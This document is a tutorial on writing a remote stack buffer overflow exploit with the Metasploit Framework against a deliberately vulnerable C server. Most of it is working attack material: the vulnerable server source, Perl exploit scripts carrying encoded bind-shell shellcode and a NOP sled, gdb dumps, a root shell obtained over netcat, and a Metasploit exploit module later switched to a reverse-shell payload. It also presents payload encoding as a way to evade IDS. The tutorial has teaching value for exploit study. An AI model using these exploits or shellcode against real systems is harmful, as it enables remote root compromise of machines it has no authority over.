文章作者：Cyberheb
| --- Intro
Hi there,
I made this article in order to show you about using metasploit framework for creating exploit. Metasploit Framework
is a framework for exploit development, it help us to make exploit development getting easier and more efficient than
before, the whole story about metasploit framework can be found from it's official site et
http://www.metasploit.com.
Through this article, i'll show you how to make simple exploit which is part of metasploit framework and use it's
feature to make exploit development more efficient. First of all, we need to create simple vulnerable server which can
be exploited, this vulnerable server has stack buffer overflow hole and easy to be exploited. I'll take this simple
vulnerable server from preddy's article which was posted for milw0rm few months ago (see under reference for preddy's
article), you can look at preddy's article for the detail on exploiting this server application. I'll only show you
some important detail related to this article.
| --- Vulnerable Server
Here's the vulnerable server,
Cyb3rh3b@k-elektronik$ cat server.c
/* Vulnerable server, reference by predy's article et
http://www.milw0rm.com/papers/78 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define LISTENPORT 7500
#define BACKLOG 10
#define MSG "Hello, how are you?"
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("The client says \"%s\"\n",response);
return 0;
}
int main(int argc, char * argv[]) {
int sock, conn;
struct sockaddr_in my_addr, client_addr;
int sockopt_on = 1;
int sa_in_size = sizeof(struct sockaddr_in);
char reply[1024];
//get a socket
if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
perror("socket");
exit(1);
}
//first zero the struct
memset((char *) &my_addr, 0, sa_in_size);
//now fill in the fields we need
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(LISTENPORT);
my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
//bind our socket to the port
if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
perror("bind");
exit(1);
}
//start listening for incoming connections
if (listen(sock,BACKLOG) == -1) {
perror("listen");
exit(1);
}
while(1) {
//grab connections
conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
if (conn == -1) {
perror("accept");
exit(1);
}
//log the connecter
printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));
//send a greeting
send(conn,MSG,strlen(MSG)+1,0);
//get the reply
recv(conn, reply, 1024, 0);
handle_reply(reply);
}
return 0;
}
------------------------------------------- END HERE
As you can see, this server has stack buffer overflow hole at handle_reply function. The response variable only
provide 256 bytes character to be used as buffer for strcpy function. So if it received more than 256 character from
it's client, the stack will be buffer overflow'd (again, please look the details at preddy's article on reference part
below).
Before sending real payload to the vulnerable server, we need to analyze the memory location which is used by the
server after overflow process happened. We will use lot of great feature provided by Metasploit Framework to produce
real exploit for our lovely vulnerable server.
Ah ya...i use linux slax with 2.6.12 kernel for this article.
| --- Finding the Offset
From the server source code, we knew that server will be crashed if received more than 256 byte data from client. So,
we have got the attack vector for exploiting the server. The next step is finding the right offset for our payload.
Wait...what about if we didn't know the buffer size?!the information we got only the server will crash if it receive
huge data from client?!or even we know the buffer size, we still have to calculate the exact number of bytes sent to
overwrite the eip register, or in other words...we need to find the offset. The term offset is used to refer the
number of data must be sent before four-bytes which overwrite the eip register.
Metasploit Framework give you simple tools to generate pattern of data which produce series of ASCII characters of
specified lenght where any four consecutive character is unique. Using this series of ASCII, we can find the exact
offset to overwrite the return address of vulnerable server. This tool is called PatternCreate(). The PatternCreate()
is a method available from the Pex.pm library located in ~/framework/lib. Use the method to produce a series of ASCII
character with 400 bytes length.
Cyberheb@kecoak$ perl -e 'use Pex;print Pex::Text::PatternCreate(400);'
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Next, we can copy those ASCII series to be inserted as attackstring for the vulnerable server. Here's the simple
script to overflow the server:
Cyberheb@kecoak$ cat send-overflow.pl
# Overflow the server process using series of unique ASCII characters.
use IO::Socket;
$ip = $ARGV[0];
$attackstring =
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6'.
'Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3'.
'Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0'.
'Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7'.
'Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A';
# Check if target IP is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}
$port = '7500';
$protocol = 'tcp';
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the ASCII pattern to the remote computer
print $socket $attackstring;
#close the connection
close($socket);
------------------------------------------- END HERE
Now, run the vulnerable server as root (only for example :P ). And execute the send-overflow script to overflow the
server. Ah ya, make sure the VA patch is non-active (kernel 2.6), and also activate the core dump to analyze server
process using gdb.
[--- Server Side ---]
Cyberheb@k-elektronik# echo "0" > /proc/sys/kernel/randomize_va_space
Cyberheb@k-elektronik# ulimit -c unlimited
Cyberheb@k-elektronik# ifconfig | grep "inet addr"
inet addr:192.168.80.130 Bcast:192.168.80.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
Cyberheb@k-elektronik# ./server
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.100
The client says "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
Segmentation fault (core dumped)
We just crashed the server process using attackstring. Next, we have to analyze at server side using gdb to know
what's excatly happened after the overflow occured, especially the value of eip register after segmentation fault.
Cyberheb@k-elektronik# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x6a413969 in ?? ()
(gdb) i r $eip
eip 0x6a413969 0x6a413969
(gdb)
at this point, we know from gdb that eip register is filled with 0x6a413969 value. This value is part of ASCII series
which is sent by the client, and gdb shows the ASCII in hex format and big-endian position. So, we have to search
those value from ASCII series to find the exact offset needed to overflow the server process. How?!well...you have to
convert the "0x6a413969" to ASCII and switch the position to make it in little-endian format, then search from the
ASCII series we sent to the server the location of those 4-byte-string which overwrite the eip register, and
last...count how many byte-string before those 4-bytes-string (which overwrite eip register) sent to the server.
Unfortunately, Metasploit Framework give us simple tools to find how many offset needed to overflow the server process
using our ASCII series. You can find the tools at ~/framework/sdk/patternOffset.pl, the first parameter is the hex
value which overwrite the eip register, and the second parameter is the size of ASCII series we just sent to the
server (in our case, it's 400).
Cyberheb@k-elektronik$ ./patternOffset.pl 0x6a413969 400
268
There we go, now we have offset to overflow the server process...and this offset will be use in our exploit code later :).
| --- Finding the Return Address
The offset value we found above will be used as our byte-string which will overflow the server process before
four-bytes data which overwrite the ret address. We'll put nop-sled and payload byte into the offset space. But we
should know which memory location will be used to land the server process on nop-sled which will bring the processor
state to our payload execution. To determine the return address, we need to analyze again server process using
debugger (in this case, gdb).
We'll use traditional nop code as our nop-sled for x86 architecture, 0x90. Metasploit Framework also give us
capability to generate our payload to be used in exploit code. Beside generate payload, metasploit framework also give
us great tools to simplify encode our payload and make it harder for IDS to detect our exploit.
This tutorial will use Pex encoder to encode the payload. More detail on using msfpayload and msfencode can be found
et
http://www.metasploit.com . Both msfpayload and msfencode can be found under ~framework/.
Cyberheb@kecoak$ ./msfpayload linux_ia32_bind LPORT=1337 R > /home/payload_1337
Cyberheb@kecoak$ ./msfencode -e Pex -a x86 -o linux -b '\x00' -i /home/payload_1337 -t perl
Using Msf::Encoder::Pex with final size of 108 bytes
"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";
First, we generate payload to produce shellcode which bind at port 1337 for linux operating system, the result is
dumped to a file in raw format. We can choose to dump the result on C or Perl format, but we need to encode the
payload so it need to be dumped to raw format. Next, we encode the dumped payload and use msfencode to give us an
encoded payload. I use Pex encoding schema for this simple article, and I use "\x00" as bad character which will be
avoided during encoding process. The bad character avoidance also make IDS or application filter harder to detect our
payload in exploitation. Remember, encoding need decoder to decode the encoded payload, so the size of encoded payload
will be bigger than un-encoded payload. In this case, we got the result of encoded payload which has size 108 bytes.
Next, we just need to insert the payload in our overflow code.
We have 268 bytes offset to overflow the server process, and of course 4 bytes data which will overwrite the eip
register (ret address). We'll use "0x90" as our nop-sled. So, the attackstring which will be used to overflow the
server can be described as:
[ (160 * "0x90") + (108 of encoded payload) + ("AAAA") ]
| --------------------- Attackstring-------------------|
| --------------------- Offset -------------|| - RET - |
Here's the code:
Cyberheb@kecoak$ cat send-overflow.pl
#!/usr/bin/perl
####################################################################
#
#-- Server Exploit (Perl version)
#
# Reference by Preddy's Remote Exploitation with C and Perl tutorial
#
####################################################################
#IO::Socket for network connections
use IO::Socket;
#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];
#our nopsled
$nopsled = "\x90"x160;
$payload =
"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";
#our extended instruction pointer which we use to overwrite the remote eip
$eip = "AAAA";
#we construct our full attackstring here
$attackstring = $nopsled.$payload.$eip;
#view a message if no ip address is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}
#the remote port to connect to
$port = '7500';
#the connection protocol to use
$protocol = 'tcp';
#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the payload to the remote computer
print $socket $attackstring;
#close the connection
close($socket);
------------------------------------------- END HERE
Send it to the server,
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.1
The client says "3.........^v]gI....l..
#;??<..5.!X^.?../7..N..R...
.XN.z.V5.fr.!r.'..?.N.AAAA"
Segmentation fault (core dumped)
Cyberheb@k-elektronik# gdb -c core ./server
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
Core was generated by `./server'.
Program terminated with signal 11, Segmentation fault.
warning: current_sos: Can't read pathname for load map: Input/output error
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/1000xb $esp
0xbffff0a0: 0x00 0xf0 0xff 0xbf 0xb0 0xf0 0xff 0xbf
0xbffff0a8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff0b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff0f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff100: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff108: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff110: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff118: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff120: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff128: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff130: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff138: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff140: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff148: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff150: 0x33 0xc9 0x83 0xe9 0xeb 0xe8 0xff 0xff
0xbffff158: 0xff 0xff 0xc0 0x5e 0x81 0x76 0x0e 0x5d
0xbffff160: 0x67 0x83 0x49 0x83 0xee 0xfc 0xe2 0xf4
0xbffff168: 0x6c 0xbc 0xd0 0x0a 0x0e 0x0d 0x81 0x23
0xbffff170: 0x3b 0x3f 0x1a 0xc0 0xbc 0xaa 0x03 0xdf
0xbffff178: 0x1e 0x35 0xe5 0x21 0x58 0x5e 0xe5 0x1a
0xbffff180: 0xd4 0x86 0xe9 0x2f 0x05 0x37 0xd2 0x1f
0xbffff188: 0xd4 0x86 0x4e 0xc9 0xed 0x01 0x52 0xaa
0xbffff190: 0x90 0xe7 0xd1 0x1b 0x0b 0x24 0x0a 0xa8
0xbffff198: 0xed 0x01 0x4e 0xc9 0xce 0x0d 0x81 0x10
0xbffff1a0: 0xed 0x58 0x4e 0xc9 0x14 0x1e 0x7a 0xf9
0xbffff1a8: 0x56 0x35 0xeb 0x66 0x72 0x14 0xeb 0x21
0xbffff1b0: 0x72 0x05 0xea 0x27 0xd4 0x84 0xd1 0x1a
0xbffff1b8: 0xd4 0x86 0x4e 0xc9 0x41 0x41 0x41 0x41
0xbffff1c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff1c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff1d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff1d8: 0x14 0xe6 0xff 0xff 0x00 0x00 0x00 0x00
0xbffff1e0: 0x00 0x00 0x00 0x00 0x00 0xbd 0xff 0xb7
0xbffff1e8: 0x00 0xe0 0xff 0xff 0x00 0x00 0x00 0x00
0xbffff1f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff1f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
---Type <return> to continue, or q <return> to quit---q
Let's analyze the output of gdb, at memory location 0xbffff1b8 we found 4-bytes of 0x41. 0x41 is "A" character in
ASCII format, those bytes character overwrite the Return Address. Then take a look at series of "0x90" from 0xbffff0b0
to 0xbffff148, those memory location is used by our NOP sled. The payload (shellcode) is located after the NOP sled.
As usual, we just need to pick random location of memory which used by NOP sled as our return address, so the
processor state will be landed to series of NOP opcode and then drive to our payload. Let's pick one location,
0xbffff0f8.
Next, put the memory location as our return address (don't forget to make it in little-endian format) and again, send
the attackstring to the server. Our send-overflow.pl code will be:
Cyberheb@kecoak$ cat send-overflow.pl
#!/usr/bin/perl
####################################################################
#
#-- Server Exploit (Perl version)
#
# Reference by Preddy's Remote Exploitation with C and Perl tutorial
#
####################################################################
#IO::Socket for network connections
use IO::Socket;
#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];
#our nopsled
$nopsled = "\x90"x160;
$payload =
"\x33\xc9\x83\xe9\xeb\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x5d".
"\x67\x83\x49\x83\xee\xfc\xe2\xf4\x6c\xbc\xd0\x0a\x0e\x0d\x81\x23".
"\x3b\x3f\x1a\xc0\xbc\xaa\x03\xdf\x1e\x35\xe5\x21\x58\x5e\xe5\x1a".
"\xd4\x86\xe9\x2f\x05\x37\xd2\x1f\xd4\x86\x4e\xc9\xed\x01\x52\xaa".
"\x90\xe7\xd1\x1b\x0b\x24\x0a\xa8\xed\x01\x4e\xc9\xce\x0d\x81\x10".
"\xed\x58\x4e\xc9\x14\x1e\x7a\xf9\x56\x35\xeb\x66\x72\x14\xeb\x21".
"\x72\x05\xea\x27\xd4\x84\xd1\x1a\xd4\x86\x4e\xc9";
#our extended instruction pointer which we use to overwrite the remote eip
#remeber to make 0xbffff0f8 in little-endian format
$eip = "\xf8\xf0\xff\xbf";
#we construct our full attackstring here
$attackstring = $nopsled.$payload.$eip;
#view a message if no ip address is given
if(!$ip)
{
die "You have to provide the target's IP Address..\n";
}
#the remote port to connect to
$port = '7500';
#the connection protocol to use
$protocol = 'tcp';
#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Could not create socket\n";
#send the payload to the remote computer
print $socket $attackstring;
#close the connection
close($socket);
------------------------------------------- END HERE
[--- Client Side ---]
Cyberheb@kecoak$ ./send-overflow.pl 192.168.80.130
[--- Server Side ---]
Cyberheb@k-elektronik# ./server
got connection from 192.168.80.1
The client says "3.........^v]gI....l..
#;??<..5.!X^.?../7..N..R...
.XN.z.V5.fr.!r.'..?.N....."
[--- Client Side ---]
Cyberheb@kecoak$ nc 192.168.80.130 1337
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
Binggo!!!
| --- Metasploit Framework Structure
You can get more detail information about integrating exploit into Metasploit Framework from http://www.metasploit.com
. In this article, we have collected some information needed to integrate the simple exploit into Metasploit
Framework. And now we will use those information to make exploit code. I won't give much details information about all
part of exploit code, the important thing is we have a picture about writing exploit using metasploit framework and
make it integrated as metasploit's exploit. Here's the simple metasploit's exploit code which exploit our vulnerable
server above:
Cyberheb@kecoak$ cat stack_buffer_overflow.pm
##
# This is the example of simple exploit which use metasploit framework to exploit
# vulnerable application remotely. This simple exploit using API which is provided
# by metasploit framework.
#
#
# By: Cyberheb, Kecoak Elektronik Indonesia. 2006
##
# Declare all the following code to be part of stack_buffer_overflow package, set the base package to be
# Msf::Exploit module, so the stack_buffer_overflow will inherite all function and properties of Msf::Exploit parent
# class. We just usually need to change the package name at the first line.
package Msf::Exploit::stack_buffer_overflow;
use base 'Msf::Exploit';
use strict;
use Pex::Text;
# Use this hash to provide advanced information about the exploit.
my $advanced = { };
# %info hash put all information of the exploit
my $info =
{
'Name' => 'Remote Stack Overflow [kecoak elektronik version]',
'Version' => '$Revision: 0.1 $',
'Authors' => [ 'Cyb3rh3b < Cyb3rh3b [et] gmail.com >', ],
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 1,
# We provide information about target host, target port, etc here. These data can be accessed by user
# directly from the msfconsole. Each key value under UserOpts refers to four-element array. First element
# is a flag that indicates whether or not the information require by the user before exploitation occur.
# The second element is metasploit data type, third element is string described about the data type.
# And the last element is default value for the data type. In our case, '7500' is the default port
# of target server and RHOST + RPORT data type is required before exploitation occur.
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'Target Address'],
'RPORT' => [1, 'PORT', 'Target Port (vuln server) ', 7500],
'SRET', => [0, 'DATA', 'RET Address'],
'DEBUG' => [0, 'BOOL', 'Debugging mode'],
},
# Provide information about payload (shellcode) here. We already know that we need 108 bytes space
# for our payload (encoded), and also give information about bad character should be avoided in the payload
# (\x00).
'Payload' =>
{
'Space' => 108,
'BadChars' => "\x00",
'Keys' => ['+findsock'],
},
'Description' => Pex::Text::Freeform(qq{
Trying to exploit remotely buffer overflow application. Only for testing!.
}),
# Reference about da hole
'Refs' =>
[
['URL', 'http://www.milw0rm.com/papers/78'],
],
# Specify the target here. First element is the string which describe the target exploit, the second
# element specify space for NOP-sled (will be used below), and the last element specify return address
# after overflow occur.
'Targets' =>
[
["Linux x86", 160, 0xbffff0f8],
],
'Keys' => ['remote stack overflow'],
};
# We don't need to change anythin here.
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
# Exploit code
sub Exploit {
# Extract information about host, port, achitecture of the target from user's option.
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
# Construct our attackstring to overflow and exploit the target. As you can see, we use value from
# 'Targets' above to determine space for NOP-sled. pack function is used to format the return address
# in little-endian.
my $attackstring = ("\x90" x $target->[1]);
$attackstring .= $shellcode;
$attackstring .= pack("V", $target->[2]);
# Create socket using Metasploit's API
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine(' Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine(" Attacking the server..... ");
# Send the attackstring to the target.
$s->Send($attackstring);
$s->Close();
return;
}
------------------------------------------- END HERE
Save the exploit code under ~/framework/exploits, and run msfconsole to use it.
Cyberheb@kecoak$./msfconsole
Using Term::ReadLine::Stub, I suggest installing something better (ie Term::ReadLine::Gnu)
_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|
+ -- --=[ msfconsole v2.5 [144 exploits - 75 payloads]
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
3com_3cdaemon_ftp_overflow 3Com 3CDaemon FTP Server Overflow
Credits Metasploit Framework Credits
afp_loginext AppleFileServer LoginExt PathName Overflow
...
squid_ntlm_authenticate Squid NTLM Authenticate Overflow
stack_buffer_overflow Remote Stack Overflow [kecoak elektronik version]
svnserve_date Subversion Date Svnserve
...
zenworks_desktop_agent ZENworks 6.5 Desktop/Server Management Remote Stack Overflow
msf > info stack_buffer_overflow
Name: Remote Stack Overflow [kecoak elektronik version]
Class: remote
Version: $Revision: 0.1 $
Target OS: linux
Keywords: remote stack overflow
Privileged: Yes
Provided By:
Cyb3rh3b < Cyb3rh3b [et] gmail.com >
Available Targets:
Linux x86
Available Options:
Exploit: Name Default Description
-------- ------ ------- --------------------------
optional DEBUG Debugging mode
optional SRET RET Address
required RHOST Target Address
required RPORT 7500 Target Port (vuln server)
Payload Information:
Space: 108
Avoid: 1 characters
| Keys: noconn tunnel bind findsock reverse
Nop Information:
SaveRegs: esp ebp
| Keys:
Encoder Information:
| Keys:
Description:
Trying to exploit remotely buffer overflow application. Only for
testing!.
References:
http://www.milw0rm.com/papers/78
msf > use stack_buffer_overflow
msf stack_buffer_overflow > show options
Exploit Options
===============
Exploit: Name Default Description
-------- ------ ------- --------------------------
optional DEBUG Debugging mode
optional SRET RET Address
required RHOST Target Address
required RPORT 7500 Target Port (vuln server)
Target: Target Not Specified
msf stack_buffer_overflow > set RHOST 192.168.80.130
RHOST -> 192.168.80.130
msf stack_buffer_overflow > show targets
Supported Exploit Targets
=========================
0 Linux x86
msf stack_buffer_overflow > set TARGET 0
TARGET -> 0
msf stack_buffer_overflow > show payloads
Metasploit Framework Usable Payloads
====================================
linux_ia32_adduser Linux IA32 Add User
linux_ia32_bind Linux IA32 Bind Shell
linux_ia32_bind_stg Linux IA32 Staged Bind Shell
linux_ia32_exec Linux IA32 Execute Command
linux_ia32_findrecv Linux IA32 Recv Tag Findsock Shell
linux_ia32_findrecv_stg Linux IA32 Staged Findsock Shell
linux_ia32_findsock Linux IA32 SrcPort Findsock Shell
linux_ia32_reverse Linux IA32 Reverse Shell
linux_ia32_reverse_stg Linux IA32 Staged Reverse Shell
linux_ia32_reverse_udp Linux IA32 Reverse UDP Shell
msf stack_buffer_overflow > set PAYLOAD linux_ia32_bind
PAYLOAD -> linux_ia32_bind
msf stack_buffer_overflow(linux_ia32_bind) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ -------------- --------------------------
optional DEBUG Debugging mode
optional SRET RET Address
required RHOST 192.168.80.130 Target Address
required RPORT 7500 Target Port (vuln server)
Payload: Name Default Description
-------- ------ ------- -----------------------------
required LPORT 4444 Listening port for bind shell
Target: Linux x86
msf stack_buffer_overflow(linux_ia32_bind) > exploit
Starting Bind Handler.
Attacking the server.....
Got connection from 192.168.80.130:51761 <-> 192.168.80.1:4444
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
As you can see, we just exploit the vulnerable server using metasploit framework. Metasploit also give us chance to
play with another payload without change any exploit code, we can use another payload directly from msfconsole when
exploiting the vulnerable server.
msf stack_buffer_overflow(linux_ia32_bind) > set PAYLOAD linux_ia32_reverse
PAYLOAD -> linux_ia32_reverse
msf stack_buffer_overflow(linux_ia32_reverse) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ -------------- --------------------------
optional DEBUG Debugging mode
optional SRET RET Address
required RHOST 192.168.80.130 Target Address
required RPORT 7500 Target Port (vuln server)
Payload: Name Default Description
-------- ------ ------- -----------------------------------
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Target: Linux x86
msf stack_buffer_overflow(linux_ia32_reverse) > set LHOST 192.168.80.1
LHOST -> 192.168.80.130
msf stack_buffer_overflow(linux_ia32_reverse) > set LPORT 1337
LPORT -> 1337
